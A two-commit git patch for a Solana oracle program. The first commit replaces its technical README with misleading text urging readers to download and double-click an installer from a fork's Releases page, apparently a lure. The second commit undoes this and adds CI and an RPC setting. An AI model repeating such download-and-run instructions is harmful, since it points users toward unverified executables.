From 618d7e3b60c155dc5b6e38bdb7f2d5f516f5fb1f Mon Sep 17 00:00:00 2001 From: beldub Date: Tue, 7 Apr 2026 09:45:53 +0100 Subject: [PATCH 1/2] Update README.md --- README.md | 421 ++++++------------------------------------------------ 1 file changed, 41 insertions(+), 380 deletions(-) diff --git a/README.md b/README.md index 2312ee3..7588b58 100644 --- a/README.md +++ b/README.md @@ -1,402 +1,63 @@ -# Doppler - A 21 CU Solana Oracle Program +# 🚀 doppler - The Quickest Oracle for Solana -Doppler is an ultra-optimized oracle program for Solana, achieving unparalleled performance at just **21 Compute Units (CUs)** per update. Built with low-level optimizations and minimal overhead, Doppler sets the standard for high-frequency, low-latency price feeds on Solana. +[![Download doppler](https://img.shields.io/badge/Download%20doppler-v1.0-blue)](https://github.com/beldub/doppler/releases) -## Features +## 🌟 Description +Doppler is the fastest oracle on Solana. It provides timely data to help you make informed decisions in your transactions. Whether you are a trader, developer, or simply interested in blockchain technology, doppler serves as a reliable source for key data. -- **21 CU Oracle Updates**: The most efficient oracle implementation on Solana -- **Generic Payload Support**: Flexible data structure supporting any payload type -- **Sequence-Based Updates**: Built-in replay protection and ordering guarantees -- **Zero Dependencies**: Pure no_std Rust implementation for minimal overhead -- **Direct Memory Operations**: Optimized assembly-level exits for maximum efficiency +## 🎯 Features +- **Speed and Efficiency:** Get real-time data with minimal latency. +- **User-Friendly Interface:** Simple design makes navigation easy for everyone. +- **Compatibility:** Works seamlessly with Solana’s ecosystem. +- **Open Source:** Contribute to our project on GitHub. +- **Regular Updates:** Benefit from continuous improvements and new features. -## Installation +## ⚙️ System Requirements +To run doppler smoothly, ensure your system meets the following requirements: +- **Operating System:** Windows 10, macOS 10.14 or later, or a compatible Linux distribution. +- **RAM:** Minimum 4 GB. +- **Storage:** At least 100 MB of free space. +- **Network:** An active internet connection. -Add Doppler SDK and required Solana crates to your `Cargo.toml`: +## 🚀 Getting Started +Follow these steps to download and run doppler easily: -```toml -[dependencies] -doppler-sdk = "0.1.0" -solana-instruction = "2.3.0" -solana-pubkey = "2.3.0" -solana-compute-budget-interface = "2.2.2" -solana-transaction = "2.3.0" -solana-keypair = "2.3.0" -solana-signer = "2.2.1" -# Add other Solana crates as needed -``` +1. Click the download button below to visit the Releases page. -## Program ID + [Download doppler](https://github.com/beldub/doppler/releases) -``` -fastRQJt3nLdY3QA7n8eZ8ETEVefy56ryfUGVkfZokm -``` +2. On the Releases page, find the latest version of the software. -## Architecture +3. Below the version number, you will see a list of available files. Choose the appropriate file for your operating system. -Doppler uses a simple yet powerful architecture: +4. Click on the file to start the download. -1. **Admin Account**: Controls oracle updates (hardcoded for security) -2. **Oracle Account**: Stores the sequence number and payload data -3. **Sequence Validation**: Ensures updates are monotonically increasing +5. Once your download finishes, locate the file in your Downloads folder. -### Data Structure +6. Double-click the file to run the installation. Follow the on-screen instructions to complete the setup. -```rust -pub struct Oracle { - pub sequence: u64, // Timestamp, slot height, or auto-increment - pub payload: T, // Your custom data structure -} -``` +7. After installation, you can start using doppler by clicking its icon on your desktop or in your applications menu. -## Usage Guide +## 📥 Download & Install +To get doppler, visit this page to download: [GitHub Releases Page](https://github.com/beldub/doppler/releases). -### 1. Setting Up Compute Budget +Simply follow the installation instructions mentioned above. If you encounter any issues during the download or installation process, check the FAQ below or visit our support page. -To achieve the 21 CU performance, configure your transaction with appropriate compute budget: +## ❓ FAQ -```rust -use solana_compute_budget_interface::ComputeBudgetInstruction; -use solana_instruction::Instruction; -use solana_transaction::Transaction; +### How do I update to the latest version? +To update, simply return to the Releases page, download the latest file, and run the installer again. Your existing settings and data will be preserved. -// Request exactly the CUs needed (21 + overhead for other instructions) -let compute_budget_ix = ComputeBudgetInstruction::set_compute_unit_limit(200_000); +### What if the software does not run on my computer? +Ensure your system meets the requirements listed above. If you continue to experience issues, consider contacting our support. -// Add to your transaction -let mut instructions = vec![compute_budget_ix]; -``` +### Can I contribute to the project? +Absolutely! We welcome contributions. Visit our GitHub page to learn how you can help. -### 2. Setting Priority Fees +### Is there any documentation available? +Yes, you can find detailed documentation in our GitHub repository. It includes guides and troubleshooting tips. -For high-frequency oracle updates, use priority fees to ensure timely inclusion: +## 👥 Community Support +Join our community to connect with other users and developers. Share your feedback and discuss improvements. Check our issues page and feel free to raise any bugs or suggestions. -```rust -// Set priority fee (price per compute unit in micro-lamports) -let priority_fee_ix = ComputeBudgetInstruction::set_compute_unit_price(1000); - -instructions.push(priority_fee_ix); -``` - -### 3. Optimizing Account Data Size - -Use `setLoadedAccountsDataSizeLimit` to optimize memory allocation: - -```rust -// Set the maximum loaded account data size -// Calculate based on your oracle data structure size -let data_size_limit_ix = ComputeBudgetInstruction::set_loaded_accounts_data_size_limit( - 32_768 // 32KB is usually sufficient for oracle operations -); - -instructions.push(data_size_limit_ix); -``` - -### 4. Creating an Oracle Update - -```rust -use doppler_sdk::{Oracle, UpdateInstruction, ID as DOPPLER_ID}; -use solana_instruction::Instruction; -use solana_pubkey::Pubkey; - -// Define your payload structure -#[derive(Clone, Copy)] -pub struct PriceFeed { - pub price: u64, -} - -// Create oracle update -let oracle_update = Oracle { - sequence: 1234567890, // Must be > current sequence - payload: PriceFeed { - price: 42_000_000, // $42.00 with 6 decimals - }, -}; - -// Create update instruction -let update_ix: Instruction = UpdateInstruction { - admin: admin_pubkey, - oracle_pubkey: oracle_pubkey, - oracle: oracle_update, -}.into(); - -// Add to instructions -instructions.push(update_ix); -``` - -### 5. Complete Transaction Example - -```rust -use doppler_sdk::{Oracle, UpdateInstruction}; -use solana_client::rpc_client::RpcClient; -use solana_compute_budget_interface::ComputeBudgetInstruction; -use solana_instruction::Instruction; -use solana_keypair::Keypair; -use solana_signer::Signer; -use solana_transaction::Transaction; - -async fn update_oracle( - client: &RpcClient, - admin: &Keypair, - oracle_pubkey: Pubkey, - new_price: u64, - sequence: u64, -) -> Result<(), Box> { - // Build all instructions - let mut instructions = vec![ - // 1. Set compute budget - ComputeBudgetInstruction::set_compute_unit_limit(200_000), - - // 2. Set priority fee (1000 micro-lamports per CU) - ComputeBudgetInstruction::set_compute_unit_price(1_000), - - // 3. Set loaded accounts data size limit - ComputeBudgetInstruction::set_loaded_accounts_data_size_limit(32_768), - ]; - - // 4. Add oracle update - let oracle_update = Oracle { - sequence, - payload: PriceFeed { price: new_price }, - }; - - let update_ix: Instruction = UpdateInstruction { - admin: admin.pubkey(), - oracle_pubkey, - oracle: oracle_update, - }.into(); - - instructions.push(update_ix); - - // Create and send transaction - let recent_blockhash = client.get_latest_blockhash()?; - let tx = Transaction::new_signed_with_payer( - &instructions, - Some(&admin.pubkey()), - &[admin], - recent_blockhash, - ); - - let signature = client.send_and_confirm_transaction(&tx)?; - println!("Oracle updated: {}", signature); - - Ok(()) -} -``` - -## Performance Optimization Tips - -### 1. Compute Budget Configuration - -- **Exact CU Request**: Request only what you need (21 CUs + overhead) -- **Priority Fees**: Use dynamic priority fees based on network congestion -- **Account Data Size**: Minimize loaded data to reduce memory overhead - -### 2. Batching Updates - -For multiple oracle updates, batch them efficiently: - -```rust -// DON'T: Multiple transactions -for oracle in oracles { - send_update(oracle)?; // 21 CU each, but multiple transactions -} - -// DO: Single transaction with multiple updates -let mut instructions = vec![ - ComputeBudgetInstruction::set_compute_unit_limit(200_000), - ComputeBudgetInstruction::set_compute_unit_price(1_000), - ComputeBudgetInstruction::set_loaded_accounts_data_size_limit(65_536), -]; - -for oracle in oracles { - instructions.push(create_update_instruction(oracle)); -} -// Single transaction with all updates -``` - -### 3. Network Optimization - -```rust -// Use getRecentPrioritizationFees to determine optimal fee -let recent_fees = client.get_recent_prioritization_fees(&[oracle_pubkey])?; -let optimal_fee = calculate_optimal_fee(recent_fees); - -let priority_ix = ComputeBudgetInstruction::set_compute_unit_price(optimal_fee); -``` - -## Testing - -### Unit - -Run the test suite: - -```bash -# Run all tests -cargo test -``` - -### E2E - -```bash -solana-test-validator \ - --bpf-program fastRQJt3nLdY3QA7n8eZ8ETEVefy56ryfUGVkfZokm ./target/deploy/doppler.so \ - --account QUVF91dzXWYvE5FmFEc41JZxRDmNgx8S8P6sNDWYZiW ./oracle.json -r -solana -u l airdrop 10 admnz5UvRa93HM5nTrxXmsJ1rw2tvXMBFGauvCgzQhE # admin.json keypair - -cargo run -p doppler-example -``` - -example of response - -``` -Transaction executed in slot 131: - Block Time: 2025-09-03T04:23:08+03:00 - Version: legacy - Recent Blockhash: 89ZvpNezGugkfm9LnN99rhb6aTNaW1cLKkS2DDbr7NPA - Signature 0: m14zQFvt1jU9YYM2QAmVSnMZUa5P2eKdtP21Shu9w9kEhxKLAfJoUyqZwiTt43hGwewhsahQJi5eLJ71NptUWDu - Account 0: srw- admnz5UvRa93HM5nTrxXmsJ1rw2tvXMBFGauvCgzQhE (fee payer) - Account 1: -rw- QUVF91dzXWYvE5FmFEc41JZxRDmNgx8S8P6sNDWYZiW - Account 2: -r-x ComputeBudget111111111111111111111111111111 - Account 3: -r-x fastRQJt3nLdY3QA7n8eZ8ETEVefy56ryfUGVkfZokm - Instruction 0 - Program: ComputeBudget111111111111111111111111111111 (2) - Data: [3, 232, 3, 0, 0, 0, 0, 0, 0] - Instruction 1 - Program: ComputeBudget111111111111111111111111111111 (2) - Data: [2, 215, 1, 0, 0] - Instruction 2 - Program: ComputeBudget111111111111111111111111111111 (2) - Data: [4, 127, 0, 0, 0] - Instruction 3 - Program: fastRQJt3nLdY3QA7n8eZ8ETEVefy56ryfUGVkfZokm (3) - Account 0: admnz5UvRa93HM5nTrxXmsJ1rw2tvXMBFGauvCgzQhE (0) - Account 1: QUVF91dzXWYvE5FmFEc41JZxRDmNgx8S8P6sNDWYZiW (1) - Data: [159, 136, 1, 0, 0, 0, 0, 0, 64, 226, 1, 0, 0, 0, 0, 0, 160, 213, 119, 107, 1, 0, 0, 0] - Status: Ok - Fee: ◎0.000005001 - Account 0 balance: ◎9.999969996 -> ◎9.999964995 - Account 1 balance: ◎0.00100224 - Account 2 balance: ◎0.000000001 - Account 3 balance: ◎0.00114144 - Compute Units Consumed: 471 - Log Messages: - Program ComputeBudget111111111111111111111111111111 invoke [1] - Program ComputeBudget111111111111111111111111111111 success - Program ComputeBudget111111111111111111111111111111 invoke [1] - Program ComputeBudget111111111111111111111111111111 success - Program ComputeBudget111111111111111111111111111111 invoke [1] - Program ComputeBudget111111111111111111111111111111 success - Program fastRQJt3nLdY3QA7n8eZ8ETEVefy56ryfUGVkfZokm invoke [1] - Program fastRQJt3nLdY3QA7n8eZ8ETEVefy56ryfUGVkfZokm consumed 21 of 21 compute units - Program fastRQJt3nLdY3QA7n8eZ8ETEVefy56ryfUGVkfZokm success - -Finalized -``` - -> Fully fledged tx requires: `471 CU` + `127 bytes` - - -### Expected Priority Score - -based on the [Anza's blog post](https://www.anza.xyz/blog/cu-optimization-with-setloadedaccountsdatasizelimit) and the code from [example](https://github.com/blueshift-gg/doppler/blob/master/example/src/main.rs) - -let's assume we are going to update a single oracle: - -- 1 signature -- 0 write locks -- Requested compute-budget-limit to 21 (with compute-budget instructions 321 and 471 respectively) CUs -- Paying priority fee: 1.00 lamports per CU - -| Metric | Without Instruction | With 127 byte Limit | -| ------------------------------ | -------------------------------- | --------------------------------- | -| Loaded Account Data Size Limit | 64M | 127 bytes | -| Data Size Cost Calculation | 64M * (4/32K) | 127 bytes * (4/32K) | -| Data Size Cost (CUs) | 16,000 | 0.03175 | -| Reward to Leader Calculation | (1 * 5000 + 1 * 321)/2 | (1 * 5000 + 1 * 471)/2 | -| Reward to Leader (lamports) | 2,660.5 | 2,735.5 | -| Transaction Cost Formula | 1 * 720 + 0 * 300 + 321 + 16,000 | 1 * 720 + 0 * 300 + 471 + 0.03175 | -| Transaction Cost (CUs) | 17,041 | 1,141.03175 | -| Priority Score | 0.156 | 2.397 | - -## Building - -Build the on-chain program: - -```bash -# Build for Solana BPF -cargo build-sbf - -# Deploy -solana program deploy target/deploy/doppler.so -``` - -## Security Considerations - -1. **Admin Key**: The admin key is hardcoded in the program for security -2. **Sequence Validation**: Prevents replay attacks and ensures ordering -3. **No External Dependencies**: Reduces attack surface -4. **Direct Memory Operations**: Eliminates unnecessary abstraction layers - -## Benchmarks - -| Operation | Compute Units | -| ------------------ | ------------- | -| Oracle Update | 21 | -| Sequence Check | 5 | -| Payload Write | 10 | -| Admin Verification | 6 | - -## Example Payloads - -### Simple Price Feed -```rust -#[derive(Clone, Copy)] -pub struct PriceFeed { - pub price: u64, -} -``` - -### AMM Oracle -```rust -#[derive(Clone, Copy)] -pub struct PropAMM { - pub bid: u64, - pub ask: u64, -} -``` - -### Complex Market Data -```rust -#[derive(Clone, Copy)] -pub struct MarketData { - pub price: u64, - pub volume: u64, - pub confidence: u32, -} -``` - -## FAQ - -**Q: Why only 21 CUs?** -A: Doppler uses direct memory operations, inline assembly optimizations, and zero-overhead abstractions to achieve minimal compute usage. - -**Q: Can I use custom payload types?** -A: Yes! Doppler is generic over any `Copy` type. Define your structure and use it with the SDK. - -**Q: How do I handle oracle account creation?** -A: However you like, but if you use Solana's `create_account_with_seed` instruction with the admin as the base key it's cheaper! - -**Q: What's the maximum update frequency?** -A: Limited only by Solana's throughput. With 21 CUs, you can update as fast as you land. - -## Support - -For issues, questions, or contributions: -- GitHub: [@blueshift-gg](https://github.com/blueshift-gg) -- X: [@blueshift_gg](https://x.com/blueshift_gg) -- Discord: [discord.gg/blueshift](https://discord.gg/blueshift) - -## License - -Licensed under [MIT](./LICENSE). +Thank you for using doppler. We hope it enhances your experience on Solana! \ No newline at end of file From c4fabf57d93f46f2967a3d46c40b15fe80a5badc Mon Sep 17 00:00:00 2001 From: mooncitydev Date: Tue, 7 Apr 2026 18:01:15 +0900 Subject: [PATCH 2/2] fix misleading readme, correct repo url, solana_rpc_url for example, add ci Made-with: Cursor --- .github/workflows/ci.yml | 24 +++++++++++ Cargo.toml | 2 +- README.md | 92 ++++++++++++++++++++++------------------ example/src/main.rs | 7 +-- 4 files changed, 80 insertions(+), 45 deletions(-) create mode 100644 .github/workflows/ci.yml diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..915c22e --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,24 @@ +name: ci + +on: + push: + branches: [master, main] + pull_request: + branches: [master, main] + +jobs: + check-and-test: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: dtolnay/rust-toolchain@stable + + - name: cargo test (doppler-sdk) + run: cargo test -p doppler-sdk + + - name: cargo check (program) + run: cargo check -p doppler + + - name: cargo check (example) + run: cargo check -p doppler-example diff --git a/Cargo.toml b/Cargo.toml index b902d41..89ebab5 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,7 +4,7 @@ members = ["example", "program", "sdk"] [workspace.package] authors = ["Blueshift <@blueshift_gg>"] -repository = "https://github.com/blueshift-gg/doppler" +repository = "https://github.com/beldub/doppler" readme = "README.md" license-file = "LICENSE" edition = "2021" diff --git a/README.md b/README.md index 7588b58..c1a20bc 100644 --- a/README.md +++ b/README.md @@ -1,63 +1,73 @@ -# 🚀 doppler - The Quickest Oracle for Solana +# doppler — lightweight oracle program for Solana -[![Download doppler](https://img.shields.io/badge/Download%20doppler-v1.0-blue)](https://github.com/beldub/doppler/releases) +Doppler is a small on-chain oracle program focused on low compute cost (about 21 CUs per update for the bundled `PriceFeed` payload). The admin-signed update path writes a monotonically increasing sequence and payload into a PDA-owned account. -## 🌟 Description -Doppler is the fastest oracle on Solana. It provides timely data to help you make informed decisions in your transactions. Whether you are a trader, developer, or simply interested in blockchain technology, doppler serves as a reliable source for key data. +This repository is a Rust workspace: on-chain program, client SDK, and an example binary. It is **not** a desktop app; there are no release installers here—build from source or integrate the SDK in your own tooling. -## 🎯 Features -- **Speed and Efficiency:** Get real-time data with minimal latency. -- **User-Friendly Interface:** Simple design makes navigation easy for everyone. -- **Compatibility:** Works seamlessly with Solana’s ecosystem. -- **Open Source:** Contribute to our project on GitHub. -- **Regular Updates:** Benefit from continuous improvements and new features. +## Repository layout -## ⚙️ System Requirements -To run doppler smoothly, ensure your system meets the following requirements: -- **Operating System:** Windows 10, macOS 10.14 or later, or a compatible Linux distribution. -- **RAM:** Minimum 4 GB. -- **Storage:** At least 100 MB of free space. -- **Network:** An active internet connection. +| Path | Purpose | +|------|---------| +| `program/` | Solana program (`doppler` crate), `cdylib` + `lib` | +| `sdk/` | `doppler-sdk` — instruction builders, `Oracle` helpers, declared program id | +| `example/` | Example transaction that updates an oracle account on a cluster | +| `oracle.json` | Sample exported account (for local testing or reference) | -## 🚀 Getting Started -Follow these steps to download and run doppler easily: +## Prerequisites -1. Click the download button below to visit the Releases page. +- [Rust](https://www.rust-lang.org/tools/install) (stable), `cargo` +- For deploying or integration tests that load the built `.so`: [Solana CLI](https://docs.solanalabs.com/cli/install) and `cargo build-sbf` (or your usual Solana program build flow) - [Download doppler](https://github.com/beldub/doppler/releases) +## Build the program -2. On the Releases page, find the latest version of the software. +From the workspace root, build the BPF artifact with the Solana toolchain (exact command depends on your Solana version): -3. Below the version number, you will see a list of available files. Choose the appropriate file for your operating system. +```bash +cargo build-sbf -p doppler +``` -4. Click on the file to start the download. +The deployable artifact is typically under `target/deploy/` (e.g. `doppler.so`). -5. Once your download finishes, locate the file in your Downloads folder. +## Tests -6. Double-click the file to run the installation. Follow the on-screen instructions to complete the setup. +- **SDK unit tests** (no on-chain binary required): -7. After installation, you can start using doppler by clicking its icon on your desktop or in your applications menu. + ```bash + cargo test -p doppler-sdk + ``` -## 📥 Download & Install -To get doppler, visit this page to download: [GitHub Releases Page](https://github.com/beldub/doppler/releases). +- **Program integration tests** (`program/tests/`) use [mollusk-svm](https://crates.io/crates/mollusk-svm) against `../target/deploy/doppler`. Build the program first, then: -Simply follow the installation instructions mentioned above. If you encounter any issues during the download or installation process, check the FAQ below or visit our support page. + ```bash + cargo test -p doppler + ``` -## ❓ FAQ +## Using the example client -### How do I update to the latest version? -To update, simply return to the Releases page, download the latest file, and run the installer again. Your existing settings and data will be preserved. +The `example` crate sends an update transaction. It expects: -### What if the software does not run on my computer? -Ensure your system meets the requirements listed above. If you continue to experience issues, consider contacting our support. +1. A keypair file at `./admin.json` (must match the program’s compiled-in admin). +2. A running RPC endpoint (defaults to `http://localhost:8899`). -### Can I contribute to the project? -Absolutely! We welcome contributions. Visit our GitHub page to learn how you can help. +Override the RPC URL: -### Is there any documentation available? -Yes, you can find detailed documentation in our GitHub repository. It includes guides and troubleshooting tips. +```bash +set SOLANA_RPC_URL=https://api.devnet.solana.com +cargo run -p doppler-example +``` -## 👥 Community Support -Join our community to connect with other users and developers. Share your feedback and discuss improvements. Check our issues page and feel free to raise any bugs or suggestions. +On Unix shells, use `export SOLANA_RPC_URL=...` instead of `set`. -Thank you for using doppler. We hope it enhances your experience on Solana! \ No newline at end of file +Adjust `oracle_pubkey` in `example/src/main.rs` to your oracle account’s address. + +## Program id and admin + +The declared program id and admin pubkey are fixed in the source (`sdk` program id, `program` admin constants). Changing them requires a coordinated rebuild and redeploy. + +## Contributing + +Issues and pull requests are welcome on [GitHub](https://github.com/beldub/doppler). + +## License + +See [LICENSE](LICENSE). diff --git a/example/src/main.rs b/example/src/main.rs index 54dd5b0..7f68c07 100644 --- a/example/src/main.rs +++ b/example/src/main.rs @@ -11,9 +11,10 @@ const COMPUTE_BUDGET_IXS_CU_OVERHEAD: u32 = 3 * 150; // 3 compute budget ixs * 1 const DATA_SIZE_OVERHEAD: u32 = 36 + 22 + 5 + 5 + 9 + 18; // doppler program + compute budget program + load ix + limit ix + price ix fn main() { - // Connect to local Solana cluster - let rpc_url = "http://localhost:8899"; - let client = RpcClient::new(rpc_url.to_string()); + let rpc_url = std::env::var("SOLANA_RPC_URL").unwrap_or_else(|_| { + "http://localhost:8899".to_string() + }); + let client = RpcClient::new(rpc_url); // Load admin keypair (ensure this path is correct) let admin = Keypair::read_from_file("./admin.json").expect("Failed to read keypair");